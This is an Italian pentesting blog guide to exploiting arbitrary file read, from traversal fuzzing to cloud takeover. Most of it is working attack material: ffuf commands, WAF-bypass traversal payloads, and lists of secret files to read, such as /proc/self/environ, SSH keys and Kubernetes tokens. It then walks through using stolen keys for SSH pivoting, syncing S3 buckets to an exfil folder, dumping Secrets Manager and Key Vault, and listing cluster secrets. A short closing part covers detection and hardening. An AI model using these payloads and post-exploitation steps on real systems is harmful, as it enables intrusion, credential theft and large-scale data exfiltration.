Arbitrary File Read: Exploit, WAF Bypass e Cloud Takeover (Guida Pentesting 2026)

Arbitrary File Read exploit nel pentesting: leggere file sensibili Linux e Windows, bypass WAF, /proc/self/environ, credenziali cloud e escalation a cloud takeover.
- Pubblicato il 2026-03-05
- Tempo di lettura: 10 min
Arbitrary File Read — Da Un Parametro URL al Cloud Takeover #
L’Arbitrary File Read è il risultato finale di un Path Traversal o di una LFI riuscita: la capacità di leggere qualsiasi file sul filesystem del server. “Solo lettura” suona innocuo — non è una shell, non è esecuzione di codice. Ma nel 2026, un singolo file letto può dare più accesso di qualsiasi exploit.
/proc/self/environ su un container ECS contiene AWS_SECRET_ACCESS_KEY in chiaro → accesso completo all’infrastruttura cloud. /home/deploy/.ssh/id_rsa è la chiave privata che apre ogni server dell’azienda via SSH. /app/.env è il dump di tutte le credenziali: database, Stripe, SendGrid, Redis. /var/run/secrets/kubernetes.io/serviceaccount/token è il token che controlla l’intero cluster Kubernetes.
Non stai “leggendo un file” — stai aprendo la cassaforte. Il valore dell’Arbitrary File Read dipende interamente da cosa leggi e come lo sfrutti. Questa guida è la mappa operativa: quali file cercare, come trovarli quando il WAF blocca, come trasformare ogni file letto in accesso reale a database, cloud e infrastruttura.
Satellite operativo della guida pillar File & Path Attacks.
Cos’è l’Arbitrary File Read? #
L’Arbitrary File Read è una vulnerabilità in cui l’attaccante sfrutta un Path Traversal, una LFI, una SSRF o un’altra falla per leggere file arbitrari dal filesystem del server. L’impatto non è l’esecuzione di codice ma l’estrazione di segreti — credenziali, chiavi, token — che permettono di escalare verso la compromissione completa dell’infrastruttura.
L’Arbitrary File Read è pericoloso? Estremamente — un solo file può contenere credenziali AWS che danno accesso a un intero ambiente cloud (S3, EC2, Lambda, RDS, Secrets Manager). Il read di /proc/self/environ è il singolo exploit con il rapporto sforzo/impatto più alto nel penetration testing moderno: un parametro URL → cloud takeover completo. Non richiede RCE, non richiede shell — solo lettura. Trovato nel 20% dei pentest web (come risultato di Path Traversal).
Come Verificare — Shodan e Google Dorks #
# Shodan — applicazioni con errori di file esposti
"No such file or directory" "include" port:80,443
"failed to open stream" port:80,443
"java.io.FileNotFoundException" port:80,443
# Google Dorks — endpoint di download
site:target.com inurl:"download" OR inurl:"file" OR inurl:"doc" OR inurl:"export"
site:target.com inurl:"path=" OR inurl:"template=" OR inurl:"page="
# Nuclei
nuclei -u https://target.com -tags lfi,traversal
nuclei -u https://target.com -t exposures/Fuzzing File Read con ffuf #
Il fuzzing è il primo step operativo: prima di testare manualmente, lancio ffuf per trovare quale parametro è vulnerabile e quale payload funziona.
Fuzz il payload traversal #
# Wordlist Jhaddix — la più completa, 900+ varianti con encoding diversi
ffuf -u "https://target.com/download?file=FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-mr "root:x:" \
-o results.json
# La wordlist contiene:
# ../../../etc/passwd
# ....//....//....//etc/passwd
# ..%2f..%2f..%2fetc/passwd
# ..%252f..%252f..%252fetc/passwd
# ..%c0%af..%c0%afetc/passwd
# etc. (900+ combinazioni)Fuzz il file target (sai già che il traversal funziona) #
# Hai confermato ../../../etc/passwd → ora leggi file di valore
ffuf -u "https://target.com/download?file=../../../FUZZ" \
-w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt \
-mc 200 \
-fs 0 \
-o high_value_files.json
# Wordlist custom per file ad alto valore
cat > high_value_files.txt << 'EOF'
etc/passwd
etc/shadow
etc/hosts
etc/hostname
proc/self/environ
proc/self/cmdline
proc/net/tcp
proc/net/arp
proc/1/cgroup
home/deploy/.ssh/id_rsa
home/deploy/.ssh/id_ed25519
home/deploy/.aws/credentials
home/deploy/.bash_history
home/deploy/.mysql_history
root/.ssh/id_rsa
root/.bash_history
root/.my.cnf
var/www/html/.env
var/www/html/config.php
var/www/html/wp-config.php
app/.env
app/config/database.yml
app/settings.py
app/application.properties
app/appsettings.json
app/config/secrets.yml
opt/app/.env
var/run/secrets/kubernetes.io/serviceaccount/token
var/run/secrets/kubernetes.io/serviceaccount/ca.crt
var/run/secrets/kubernetes.io/serviceaccount/namespace
.dockerenv
EOF
ffuf -u "https://target.com/download?file=../../../FUZZ" \
-w high_value_files.txt \
-mc 200 \
-fs 0Fuzz per trovare QUALE parametro è vulnerabile #
ffuf -u "https://target.com/page?FUZZ=../../../etc/passwd" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-mc 200 \
-mr "root:x:"
# Testa file=, path=, page=, doc=, template=, lang=, include=, load=...Fuzz su POST / JSON (bypass WAF) #
# I WAF spesso non ispezionano il body JSON
ffuf -u "https://target.com/api/v2/files/read" \
-X POST \
-H "Content-Type: application/json" \
-d '{"path": "FUZZ"}' \
-w /usr/share/seclists/Fuzzing/LFI/LFI-Jhaddix.txt \
-mc 200 \
-mr "root:x:"WAF Bypass per File Read #
Il WAF blocca ../etc/passwd? Queste sono le tecniche che uso per passare:
Encoding Progressivo #
# LIVELLO 1 — URL encode base
..%2f..%2f..%2fetc/passwd
# LIVELLO 2 — Encode dei punti
%2e%2e%2f%2e%2e%2fetc/passwd
%2e%2e/%2e%2e/etc/passwd
# LIVELLO 3 — Double encoding
..%252f..%252f..%252fetc%252fpasswd
# %252f → il server decodifica a %2f → il server decodifica di nuovo a /
# LIVELLO 4 — UTF-8 overlong
..%c0%af..%c0%afetc/passwd # 2-byte overlong di /
..%e0%80%af..%e0%80%afetc/passwd # 3-byte overlong
..%c1%9c..%c1%9cetc/passwd # Overlong alternativo
# LIVELLO 5 — Unicode fullwidth
..%ef%bc%8f..%ef%bc%8fetc%ef%bc%8fpasswd # Fullwidth /Tecniche Strutturali #
# Bypass strip non ricorsivo di ../
....//....//....//etc/passwd # Dopo strip → ../../../etc/passwd
....\/....\/etc/passwd # Mixed separators
# Tomcat semicolon trick
..;/..;/..;/etc/passwd
# Path prefix (se il filtro verifica che inizi con una directory consentita)
images/../../../etc/passwd
documents/../../../etc/passwd
uploads/../../../etc/passwd
# JSON body (WAF spesso non controlla!)
POST /api/files/read
{"filepath": "../../../etc/passwd"}
# Null byte (PHP < 5.3.4)
../../../etc/passwd%00.pdf
# Path normalization
/var/www/html/../../../etc/passwd
./../../../../etc/passwdWindows-Specific #
..\..\..\windows\win.ini
..%5c..%5c..%5cwindows%5cwin.ini
..%255c..%255cwindows\win.ini # Double encode backslash
..;\..\;\..\windows\win.ini # Semicolon + backslashOutput Reale — Ecco Cosa Trovi Nei File #
Questa sezione mostra l’output esatto che vedi quando leggi i file più preziosi. Questo è il “proof” del pentest — lo screenshot che metti nel report.
/etc/passwd — Conferma e Mappa Utenti #
# Request:
GET /download?file=....//....//....//etc/passwd HTTP/1.1
# Response:
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
mysql:x:27:27:MySQL Server:/var/lib/mysql:/bin/false
postgres:x:26:26:PostgreSQL:/var/lib/postgresql:/bin/bash
deploy:x:1000:1000:Deploy User:/home/deploy:/bin/bash
jenkins:x:1001:1001:Jenkins CI:/home/jenkins:/bin/bashCosa ti dice:
www-data→ web server Apache/Nginx (utente del file read)mysql+postgres→ database locali, cerca le credenziali nei configdeploycon/bin/bash→ utente reale → prova a leggere la sua SSH keyjenkins→ CI/CD server → potenziale per supply chain attack- Ogni utente con
/bin/bashè un target per SSH key e bash_history
/proc/self/environ — Il Jackpot Cloud #
# Request:
GET /download?file=../../../proc/self/environ HTTP/1.1
# Response (campi separati da NULL bytes \x00):
HOSTNAME=web-prod-7b4d8f9c
HOME=/home/app
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin
AWS_ACCESS_KEY_ID=AKIAIOSFODNN7EXAMPLE
AWS_SECRET_ACCESS_KEY=wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY
AWS_DEFAULT_REGION=eu-west-1
AWS_SESSION_TOKEN=FwoGZXIvYXdzEBYaDH...
DATABASE_URL=postgresql://admin:Pr0d_P@ss!2024@db-prod.internal:5432/appdb
REDIS_URL=redis://:r3d1s_s3cr3t@redis.internal:6379/0
SECRET_KEY=django-insecure-k8s-key-that-nobody-changed-in-3-years
STRIPE_SECRET_KEY=sk_live_51H7wmJKxPnO...
SENDGRID_API_KEY=SG.xxxxx.yyyyyCosa ci fai:
AWS_ACCESS_KEY_ID+SECRET→ cloud takeover (vedi sezione Post-Exploit Cloud)DATABASE_URL→ connessione diretta al database di produzioneSECRET_KEY→ forgia session cookie admin (Django/Flask)STRIPE_SECRET_KEY→ accesso live alle API di pagamentoHOSTNAME→ conferma container/pod (per K8s exploitation)
.env — Credenziali Applicative Complete #
# Request:
GET /download?file=../../../var/www/html/.env HTTP/1.1
# Response:
APP_NAME=MyApp
APP_ENV=production
APP_DEBUG=false
APP_KEY=base64:x8K2jP+N3rFqm6Y2jHdB...
DB_CONNECTION=mysql
DB_HOST=10.0.1.50
DB_PORT=3306
DB_DATABASE=myapp_production
DB_USERNAME=myapp_admin
DB_PASSWORD=SuperSecret123!
STRIPE_KEY=pk_live_51H7wmJ...
STRIPE_SECRET=sk_live_51H7wmJ...
MAIL_MAILER=smtp
MAIL_HOST=smtp.sendgrid.net
MAIL_USERNAME=apikey
MAIL_PASSWORD=SG.real_production_key
AWS_ACCESS_KEY_ID=AKIA...
AWS_SECRET_ACCESS_KEY=wJalrX...
AWS_BUCKET=myapp-uploads-prod.ssh/id_rsa — Accesso SSH Diretto #
# Request:
GET /download?file=../../../home/deploy/.ssh/id_rsa HTTP/1.1
# Response:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAAAMwAAAAtzc2gtZW
QyNTUxOQAAACBDK2VHqHcLsphEj3+qN3SB2+I0VE3Gz2yPjjcLnQmDMQAAAJi8cJpkvH
CaZAAAAAtc3NoLWVkMjU1MTkAAAAgQytlR6h3C7KYRI9/qjd0gdviNFRNxs9sj443C50J
gzEAAAAEKhGmlnFrKWJRb+rQ...
-----END OPENSSH PRIVATE KEY-----# Salva e usa immediatamente:
echo "-----BEGIN OPENSSH..." > stolen_key
chmod 600 stolen_key
ssh -i stolen_key deploy@target.com
# → Shell interattiva con i privilegi di deploy!
# Poi:
ssh -i stolen_key deploy@10.0.1.50 # Database server
ssh -i stolen_key deploy@10.0.1.100 # CI/CD server
# La stessa chiave spesso funziona su multipli serverKubernetes Service Account Token #
# Request:
GET /download?file=../../../var/run/secrets/kubernetes.io/serviceaccount/token HTTP/1.1
# Response:
eyJhbGciOiJSUzI1NiIsImtpZCI6IjJ...
# Uso:
export TOKEN=$(cat token)
kubectl --server=https://kubernetes.default.svc --token=$TOKEN \
--insecure-skip-tls-verify get pods
kubectl --token=$TOKEN get secrets --all-namespaces
kubectl --token=$TOKEN get secrets -o json | grep -i passwordWorkflow Reale — Dal Parametro Al Compromise #
Questo è il flusso esatto che seguo in ogni pentest quando trovo un file read:
Step 1 → Trova il parametro #
# Burp Suite: filtra per parametri file nel Site Map
# O fuzzing automatico:
ffuf -u "https://target.com/page?FUZZ=test.pdf" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-mc 200 -fs BASELINE_SIZEStep 2 → Conferma con /etc/passwd #
?file=../../../etc/passwd
# Bloccato? → encoding:
?file=..%2f..%2f..%2fetc/passwd
?file=....//....//....//etc/passwd
?file=..%252f..%252f..%252fetc%252fpasswd
?file=..%c0%af..%c0%afetc/passwd
# Ancora bloccato? → JSON body, header injection, Tomcat ..;/Step 3 → Leggi configurazione e .env #
# Prima i file ad alta probabilità:
../../../app/.env
../../../var/www/html/.env
../../../var/www/html/config.php
../../../var/www/html/wp-config.php
../../../app/settings.py
../../../app/config/database.yml
../../../app/application.properties
# Se non sai il framework → leggi /proc/self/cmdline per il comando del processo
../../../proc/self/cmdline
# Output: python3 -m gunicorn app.wsgi → Django!
# Output: java -jar /app/application.jar → Spring Boot!
# Output: node /app/server.js → Express!Step 4 → Estrai credenziali #
Ogni file trovato → cerca pattern di credenziali:
# Keyword da cercare nell'output:
password, passwd, secret, key, token, credential, api_key,
access_key, private_key, connection_string, dsn, database_urlStep 5 → Usa le credenziali #
# Database (da .env o config)
mysql -h 10.0.1.50 -u myapp_admin -p'SuperSecret123!' myapp_production
psql "postgresql://admin:Pr0d_P@ss@db.internal:5432/appdb"
# SSH (da .ssh/id_rsa)
ssh -i stolen_key deploy@target.com
# Cloud (da /proc/self/environ o .env) → vedi sezione Post-Exploit Cloud
# Django/Flask admin (da SECRET_KEY)
# Forgia session cookie con la SECRET_KEY → accesso admin senza passwordPost-Exploit Cloud — Da File Read a Cloud Takeover #
Quando trovi credenziali AWS/Azure/GCP in /proc/self/environ o .env, questo è il percorso completo di exploitation:
AWS — Il Più Comune #
# === STEP 1: Configura le credenziali ===
export AWS_ACCESS_KEY_ID="AKIAIOSFODNN7EXAMPLE"
export AWS_SECRET_ACCESS_KEY="wJalrXUtnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY"
export AWS_DEFAULT_REGION="eu-west-1"
# Se hai anche un session token (ECS/Lambda):
export AWS_SESSION_TOKEN="FwoGZXIvYXdz..."
# === STEP 2: Conferma chi sei ===
aws sts get-caller-identity
# Output:
# {
# "UserId": "AROA3XFRBF23...",
# "Account": "123456789012",
# "Arn": "arn:aws:sts::123456789012:assumed-role/web-app-role/i-0abc123"
# }
# === STEP 3: Enumera l'infrastruttura ===
aws s3 ls # Lista tutti i bucket S3
aws s3 ls s3://backup-prod-bucket/ # Contenuto del bucket
aws ec2 describe-instances # Tutti i server EC2
aws rds describe-db-instances # Database RDS
aws lambda list-functions # Funzioni Lambda
# === STEP 4: Cerca i segreti ===
aws secretsmanager list-secrets
aws secretsmanager get-secret-value --secret-id prod/database
# → credenziali RDS in chiaro!
aws ssm get-parameters-by-path --path "/" --recursive --with-decryption
# → tutti i parametri SSM (spesso contengono password)
# === STEP 5: Exfiltration ===
aws s3 sync s3://backup-prod-bucket/ ./exfil/ # Download completo bucket
aws rds create-db-snapshot --db-instance-identifier prod-db --db-snapshot-identifier exfil
# → snapshot del database
# === STEP 6: Privilege escalation (se il ruolo lo permette) ===
aws iam list-attached-role-policies --role-name web-app-role
aws iam list-role-policies --role-name web-app-role
# Se hai iam:PassRole + lambda:CreateFunction → escalation a adminAzure #
# Se trovi Azure managed identity:
curl -H "Metadata: true" "http://169.254.169.254/metadata/identity/oauth2/token?resource=https://management.azure.com/"
# → Access token
# Con il token:
az account list
az storage account list
az keyvault list
az keyvault secret list --vault-name prod-vault
az keyvault secret show --vault-name prod-vault --name db-passwordGCP #
# Se trovi GCP service account key:
gcloud auth activate-service-account --key-file=stolen-key.json
gcloud projects list
gcloud storage ls
gcloud secrets list
gcloud secrets versions access latest --secret=db-passwordEnumerazione Mirata — Adatta i File al Contesto #
Non tutti i server sono uguali. Dopo il primo /etc/passwd, uso le informazioni trovate per mirare la ricerca ai file specifici dell’ambiente.
Se trovi utenti in /etc/passwd #
# Per OGNI utente con /bin/bash (es: deploy, app, jenkins, ubuntu):
../../../home/deploy/.ssh/id_rsa
../../../home/deploy/.ssh/id_ed25519
../../../home/deploy/.ssh/authorized_keys # Chi può entrare?
../../../home/deploy/.ssh/known_hosts # Mappa di tutti i server
../../../home/deploy/.bash_history # Password in comandi passati!
../../../home/deploy/.mysql_history # Query con password
../../../home/deploy/.psql_history
../../../home/deploy/.aws/credentials # AWS creds
../../../home/deploy/.aws/config
../../../home/deploy/.gitconfig # Username, email, token
../../../home/deploy/.npmrc # npm token (pubblicazione package)
../../../home/deploy/.docker/config.json # Docker registry credsSe sospetti Docker / Container #
# Conferma container:
../../../.dockerenv # Se esiste → sei in Docker
../../../proc/1/cgroup # Contiene "docker" o "kubepods"
# Docker socket (escape possibile!):
../../../var/run/docker.sock # Se leggibile → container escape
# Variabili d'ambiente del container:
../../../proc/self/environ # Tutte le env vars iniettate
../../../proc/self/cmdline # Comando di avvio del containerSe sospetti Kubernetes #
# Service account token (il premio grande):
../../../var/run/secrets/kubernetes.io/serviceaccount/token
../../../var/run/secrets/kubernetes.io/serviceaccount/ca.crt
../../../var/run/secrets/kubernetes.io/serviceaccount/namespace
# Environment K8s:
../../../proc/self/environ
# Cerca: KUBERNETES_SERVICE_HOST, KUBERNETES_SERVICE_PORT
# Se presenti → sei in un pod K8s
# Secrets montati come file:
../../../var/run/secrets/ # Directory listing (se LFI)
# I secrets K8s montati come volume sono file leggibiliSe trovi un framework specifico #
# Django (proc/self/cmdline contiene "python" + "django" o "gunicorn"):
../../../app/settings.py
../../../app/local_settings.py
../../../app/config/settings/production.py
# Spring Boot (proc/self/cmdline contiene "java" + ".jar"):
../../../app/application.properties
../../../app/application.yml
../../../app/application-prod.yml
../../../opt/app/BOOT-INF/classes/application.properties
# Laravel (PHP):
../../../var/www/html/.env
../../../var/www/html/storage/logs/laravel.log # Contiene stack trace con path
# Node.js / Express:
../../../app/.env
../../../app/config/default.json
../../../app/config/production.json
# WordPress:
../../../var/www/html/wp-config.php # DB creds, AUTH_KEY, SALTSe cerchi file di backup / log #
# Backup database nella document root (succede più spesso di quanto pensi):
../../../var/www/html/backup.sql
../../../var/www/html/dump.sql
../../../var/www/html/database.sql.gz
../../../var/www/html/db.tar.gz
# Log applicativi con credenziali:
../../../var/log/apache2/error.log # Stack trace con path e config
../../../var/log/nginx/error.log
../../../var/www/html/storage/logs/laravel.log # Laravel debug mode = goldmine
../../../tmp/debug.log🏢 Enterprise Escalation — Percorsi Reali #
File Read → Cloud Takeover (5-15 minuti) #
File Read → /proc/self/environ → AWS_ACCESS_KEY_ID + SECRET
→ aws sts get-caller-identity → conferma accesso
→ aws s3 ls → 47 bucket (backup, uploads, logs)
→ aws secretsmanager list-secrets → credenziali RDS, Redis, API esterne
→ aws ec2 describe-instances → mappa completa infrastruttura
→ COMPROMISSIONE CLOUD TOTALEFile Read → SSH Pivot → Domain Admin (15-60 minuti) #
File Read → /home/deploy/.ssh/id_rsa → SSH a web server
→ /home/deploy/.ssh/known_hosts → mappa 20 server interni
→ SSH a 10.0.1.50 (database) → dump DB con dati sensibili
→ SSH a 10.0.1.100 (CI/CD) → Jenkins credentials → LDAP password
→ LDAP → BloodHound → Kerberoasting → Domain AdminFile Read → Database Diretto (5-10 minuti) #
File Read → .env → DB_PASSWORD=SuperSecret123!
→ mysql -h 10.0.1.50 -u admin -p'SuperSecret123!' prod_db
→ SELECT * FROM users; → 200.000 record con email, password hash, PII
→ SELECT * FROM orders; → storico transazioni con IBAN
→ DATA BREACH🔌 Variante API / Microservizi 2026 #
// GET classico
GET /api/v2/documents/download?path=../../../proc/self/environ
// JSON body (spesso non controllato dal WAF!)
POST /api/v2/files/read
{"filepath": "../../../proc/self/environ"}
// GraphQL
query { getFile(path: "../../../etc/passwd") { content } }
// Header-based file path
GET /api/v2/export
X-Template-Path: ../../../app/.env
// Path parameter nell'URL
GET /api/v2/files/../../../etc/passwd
// Array notation (parser confusion)
GET /api/v2/files?path[]=../../../etc/passwdMicro Playbook Reale #
Minuto 0-3 → Identifica parametri file (Burp Site Map / ffuf) Minuto 3-8 → ffuf con LFI-Jhaddix.txt → trova payload funzionante Minuto 8-10 → Conferma con /etc/passwd → identifica utenti Minuto 10-15 → Leggi .env / config → estrai credenziali Minuto 15-20 → Leggi /proc/self/environ → credenziali cloud Minuto 20-25 → Leggi .ssh/id_rsa → accesso SSH diretto Minuto 25-30 → Usa le credenziali trovate → DB dump / aws s3 ls / SSH pivot
Da parametro URL a cloud takeover in 30 minuti.
Caso Studio Concreto #
Settore: Fintech SaaS, 200.000 transazioni, infrastruttura AWS EKS. Scope: Black-box.
Endpoint API /api/v2/docs/download?file=terms.pdf. Il ../../../etc/passwd diretto era bloccato da Cloudflare. Ho provato il JSON body:
POST /api/v2/docs/download
Content-Type: application/json
{"file": "../../../etc/passwd"}200 OK → root:x:0:0... → il WAF non controllava il body JSON. Utente deploy con /bin/bash. Escalation:
{"file": "../../../proc/self/environ"}
→ AWS_ACCESS_KEY_ID=AKIA..., AWS_SECRET_ACCESS_KEY=..., DATABASE_URL=postgresql://admin:Pr0d_P@ss@db.internal:5432/fintech_prod
{"file": "../../../home/deploy/.ssh/id_rsa"}
→ Chiave SSH privata
{"file": "../../../var/run/secrets/kubernetes.io/serviceaccount/token"}
→ K8s service account tokenCon AWS creds: aws s3 ls → 47 bucket. aws secretsmanager list-secrets → credenziali RDS. Database PostgreSQL: 200.000 transazioni con IBAN, importi, beneficiari. Con K8s token: kubectl get secrets → ogni secret del cluster incluse credenziali di servizi interni.
Tempo dal primo test al cloud takeover: 12 minuti.
Root cause: os.path.join() senza os.path.realpath() check, WAF solo su GET params.
Errori Comuni Reali #
1. Path concatenation senza canonicalization
# ❌
path = os.path.join(BASE_DIR, user_input)
return send_file(path) # user_input = "../../../etc/passwd" → esce dalla directory
# ✅
path = os.path.realpath(os.path.join(BASE_DIR, user_input))
if not path.startswith(os.path.realpath(BASE_DIR)):
abort(403)2. WAF solo su GET, non su POST/JSON — la causa del 40% dei bypass nel 2026.
3. /proc montato senza restrizioni — nei container Docker, /proc è leggibile di default e contiene variabili d’ambiente con credenziali cloud.
4. Credenziali nelle variabili d’ambiente — best practice cloud che diventa il vettore di attacco #1 se hai file read.
5. SSH key condivisa tra server — una sola key rubata → accesso a tutti i server dell’infrastruttura.
Indicatori di Compromissione (IoC) #
../,..%2f,%252e%252e,%c0%afnei parametri URL nei log web- Accesso a file di sistema (
/etc/passwd,/proc/self/environ,/.env) nei log - Response di dimensione anomala per endpoint di download (un “PDF” di 200 bytes = /etc/passwd)
- Sequenze di request dallo stesso IP che testano path diversi sullo stesso parametro
- Dopo il file read: connessioni AWS/Azure/GCP anomale dallo stesso IP sorgente
- Comandi
aws sts get-caller-identityda IP non aziendali nei CloudTrail logs
✅ Checklist Finale — Arbitrary File Read #
DISCOVERY
☐ Identificati tutti i parametri file (GET, POST, JSON, header)
☐ ffuf con LFI-Jhaddix.txt per trovare payload funzionante
☐ Testato sia GET che POST/JSON body
CONFERMA
☐ Letto /etc/passwd (Linux) o win.ini (Windows)
☐ Identificati utenti con /bin/bash
CONFIGURAZIONE & CREDENZIALI
☐ .env / config.php / wp-config.php / settings.py / database.yml
☐ /proc/self/cmdline per identificare il framework
CREDENZIALI CLOUD
☐ /proc/self/environ → AWS/Azure/GCP creds
☐ .aws/credentials per utenti trovati in /etc/passwd
☐ Testato aws sts get-caller-identity con creds trovate
☐ aws s3 ls + aws secretsmanager list-secrets
SSH & ACCESSO REMOTO
☐ .ssh/id_rsa per ogni utente con /bin/bash
☐ .ssh/known_hosts per mappa rete
☐ .ssh/authorized_keys per identificare altri accessi
☐ Testato SSH con chiave rubata
KUBERNETES
☐ /var/run/secrets/kubernetes.io/serviceaccount/token
☐ kubectl get secrets con token rubato
☐ kubectl get pods per mappa cluster
HISTORY & BONUS
☐ .bash_history per password nei comandi
☐ .mysql_history / .psql_history
☐ /var/log/apache2/error.log per stack trace con path
☐ Backup nella document root (backup.sql, dump.sql.gz)
ESCALATION
☐ Credenziali DB usate → dump database
☐ Credenziali cloud usate → enumerazione infrastruttura
☐ SSH key usata → pivot a server interni
☐ K8s token usato → secrets del cluster
☐ SECRET_KEY usato → forgiato session cookie adminDetection & Hardening #
- Canonicalize e whitelist —
realpath()+ verifica che il path inizi con la directory consentita - ID numerici, non path —
?doc=12345→ lookup nel database, mai?file=path/to/file - Non esporre /proc — nei container:
--read-only, mount/procconhidepid=2 - Secrets management — usa HashiCorp Vault / AWS Secrets Manager, non variabili d’ambiente
- SSH key rotation — chiavi diverse per ogni server, rotazione periodica
- WAF su tutti i canali — GET, POST, JSON body, header custom
- Principio minimo privilegio — il processo web non deve poter leggere
.ssh/,.aws/,/etc/shadow
Satellite della Guida Completa File & Path Attacks. Vedi anche: Path Traversal, LFI, Backup Exposure.
Un parametro URL può dare accesso al tuo cloud? Penetration test applicativo HackIta per trovare ogni file read prima degli attaccanti. Da /proc/self/environ al cloud takeover: formazione 1:1.







